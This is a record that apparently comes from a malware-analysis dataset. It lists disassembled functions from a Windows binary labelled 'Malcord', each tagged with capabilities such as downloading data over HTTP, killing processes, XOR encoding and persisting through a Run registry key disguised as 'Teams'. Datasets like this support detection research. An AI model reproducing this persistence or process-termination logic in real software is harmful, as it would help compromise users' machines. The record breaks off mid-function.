joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140015890
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14001595c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14001595c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140015975
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14001594c
cmp byte [rax], 0x5c
jne 0x140015946
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140015946
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140015932
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140015943
test r8b, 0x10
jne 0x140015946
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140015946
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140011510
test edi, edi
jne 0x1400158b0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140011500
int3
Function at 0x14002a7c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x1070
call fcn.14003e6b0
sub rsp, rax
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rsp + 0x1060], rax
mov rbx, r8
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 1]
lea rcx, [0x140079c18]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
je 0x14002a873
mov r9d, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14002a832
mov rbx, qword [rbx]
lea rdx, [0x14008a280]
cmp qword [0x14008a298], 0x10
cmovae rdx, qword [0x14008a280]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
mov r8, rbx
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
jne 0x14002a898
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r12
xor r8d, r8d
lea rdx, [0x1400775f0]
mov rcx, rsi
call fcn.140007670
jmp 0x14002a993
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rbx, r12
mov qword [rsp + 0x50], rbx
mov ebp, 0xf
mov qword [rsp + 0x58], rbp
mov byte [rsp + 0x40], bl
lea r9, [rsp + 0x38]
mov r8d, 0x1000
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14002a970
nop word [rax + rax]
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x14002a970
mov edi, eax
mov rax, rbp
sub rax, rbx
cmp rdi, rax
ja 0x14002a92a
lea rax, [rbx + rdi]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rbp, 0x10
cmovae rax, qword [rsp + 0x40]
add rbx, rax
mov r8d, edi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.1400401b0
mov byte [rbx + rdi], 0
jmp 0x14002a944
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140007800
lea r9, [rsp + 0x38]
mov r8d, 0x1000
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14002a970
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x14002a8e0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rsi + 0x10], xmm1
mov rax, rsi
mov rcx, qword [rsp + 0x1060]
xor rcx, rsp
call fcn.14003dd50
lea r11, [rsp + 0x1070]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x14002c9e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x190
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x14002ca6d
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14002ca63
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14002ca5e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002cc6c
mov rcx, r8
call fcn.14003dd70
xor ebp, ebp
mov byte [rbx], bpl
jmp 0x14002cbab
mov dword [rsp + 0x50], 0x130
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x14002ca92
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002ca29
xor ebp, ebp
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rbp
lea rax, [rsp + 0x7c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], bpl
jne 0x14002cac0
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x28]
call fcn.140007670
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14002cae5
mov rdx, qword [rbx]
lea rcx, [rsp + 0x28]
mov rsi, qword [rsp + 0x40]
cmp rsi, 0x10
setae r14b
mov rdi, qword [rsp + 0x28]
cmovae rcx, rdi
mov r8, qword [rsp + 0x38]
cmp r8, qword [rbx + 0x10]
jne 0x14002cb18
call fcn.140040850
test eax, eax
je 0x14002cbe6
test r14b, r14b
je 0x14002cb4e
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14002cb46
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002cc66
mov rcx, rdi
call fcn.14003dd70
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14002caa0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14002cba8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14002cba3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002cc6c
mov rcx, r8
call fcn.14003dd70
mov byte [rbx], 0
xor eax, eax
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rbp
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14003dd50
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rsi, 0x10
jb 0x14002cc23
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14002cc1a
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002cc66
mov rcx, rdi
call fcn.14003dd70
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14002cc59
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14002cc54
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002cc6c
mov rcx, r8
call fcn.14003dd70
mov byte [rbx], 0
mov eax, 1
jmp 0x14002cbad
call fcn.1400447b4
nop
call fcn.1400447b4
int3
Function at 0x14002cc80
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14002cd5e
nop dword [rax + rax]
mov r9, qword [rbx + 0x18]
mov r8, rbx
cmp r9, 0x10
jb 0x14002ccf0
mov r8, qword [rbx]
lea rax, [rsp + 0x4c]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14002cd13
inc rax
test ecx, ecx
jne 0x14002cd00
test edx, edx
jne 0x14002ce1c
mov r8d, dword [rsp + 0x28]
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14002cde2
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14002cce0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14002cda1
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002cd9c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002ce28
mov rcx, r8
call fcn.14003dd70
mov eax, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], 0
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14003dd50
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14002ce18
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14002ce13
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002ce28
mov rcx, r8
call fcn.14003dd70
xor eax, eax
jmp 0x14002cda6
cmp r9, 0x10
jb 0x14002ce18
lea rdx, [r9 + 1]
jmp 0x14002cdef
call fcn.1400447b4
int3
Function at 0x140032d00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140032d61
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140032d20
mov ecx, dword [r9]
jmp 0x140032e48
cmp ecx, 0x4e0
jb 0x140032e48
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140032d80
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140032dd0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140038a10
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 2]
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xorps xmm0, xmm0
test eax, eax
jne 0x140038a9b
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
lea r8d, [rdi + 0x16]
lea rdx, str.Failed_to_open_reg_key
mov rcx, rbx
call fcn.140007670
jmp 0x140038b7b
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x140038ab5
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140007670
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Teams
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x140038b9f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x15
lea rdx, str.Failed_to_set_reg_key
mov rcx, rbx
call fcn.140007670
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140038b7b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038b76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038c02
call fcn.14003dd70
mov rax, rbx
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14003dd50
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x24
lea rdx, str.Malcord_will_launch_at_startup_logon
mov rcx, rbx
call fcn.140007670
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140038b7b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038b76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038b76
call fcn.1400447b4
int3
Function at 0x14003d488
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14003d4b6
xor eax, eax
jmp 0x14003d59c
cmp qword [rcx + 0x68], 0
je 0x14003d4c7
call fcn.140006740
jmp 0x14003d59c
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003d4de
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003d4e0
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003d512
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400401b0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14003d596
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14003d549
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14003d572
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.140050f28
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14003d596
cmp rsi, rbx
ja 0x14003d550
test rsi, rsi
je 0x14003d596
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140050f28
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14003eb54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003eb9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003eb9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003eb9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003eb9e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003eb9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003eba0
xor al, al
add rsp, 0x28
ret

Function at 0x140052684
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140052480
Function at 0x14005b6f4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14003e6b0
sub rsp, rax
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400568c4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14005b743
mov rax, rbp
jmp 0x14005b84b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x89b00]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14005c9dc
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x89b00]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14005b847
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14005b847
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14005c9dc
test rax, rax
js 0x14005b847
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14005b847
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14005b839
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14005b839
cmp byte [rcx], 0xd
jne 0x14005b81f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14005b82e
cmp byte [rcx + 1], 0xa
jne 0x14005b82e
inc rcx
jmp 0x14005b82e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x87440]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14005b801
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14005b84b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14003dd50
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14005bb68
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14005bb7e
mov al, 1
jmp 0x14005bbde
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14005bb8f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14005bbdc
mov ecx, dword [rcx + 0x18]
nop
call fcn.14005ea78
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14005bbdc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14005bbdc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14005bbdc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14005bbde
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14005bd7c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140089b00]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14005bdd3
cmp word [rdx], r13w
jne 0x14005bdd3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14005bdd8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14005befd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14005bf1e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14005be11
mov rdx, r9
mov word [rbx], cx
jmp 0x14005be38
cmp r9, r8
jae 0x14005be48
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14005bdf2
jmp 0x14005befd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14005bef2
cmp dword [rsp + 0x80], esi
je 0x14005bef2
lea r8, [0x140089b00]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14005beca
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14005be9a
mov word [rbx], r13w
jmp 0x14005befa
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14005bea7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14005befa
cmp word [rsp + 0x70], r13w
jne 0x14005bed7
cmp rbx, r14
je 0x14005be94
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14005c9e4
cmp word [rsp + 0x70], r13w
je 0x14005befd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140089b00]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14005bef7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14005befd
Function at 0x14005e424
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14005e454
xor eax, eax
jmp 0x14005e517
mov rbp, rbx
cmp word [rax], si
je 0x14005e479
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14005e460
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14005e45c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14005cb84
movsxd r14, eax
test eax, eax
jne 0x14005e4b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14005e44d
mov rcx, r14
call fcn.140055668
mov rdi, rax
test rax, rax
jne 0x14005e4d0
xor ecx, ecx
call fcn.1400555b4
jmp 0x14005e4ac
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14005cb84
test eax, eax
jne 0x14005e501
mov rcx, rdi
call fcn.1400555b4
jmp 0x14005e50b
xor ecx, ecx
call fcn.1400555b4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140060ed4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140055254
mov ecx, ebx
lea r8, [rsp + 0x30]
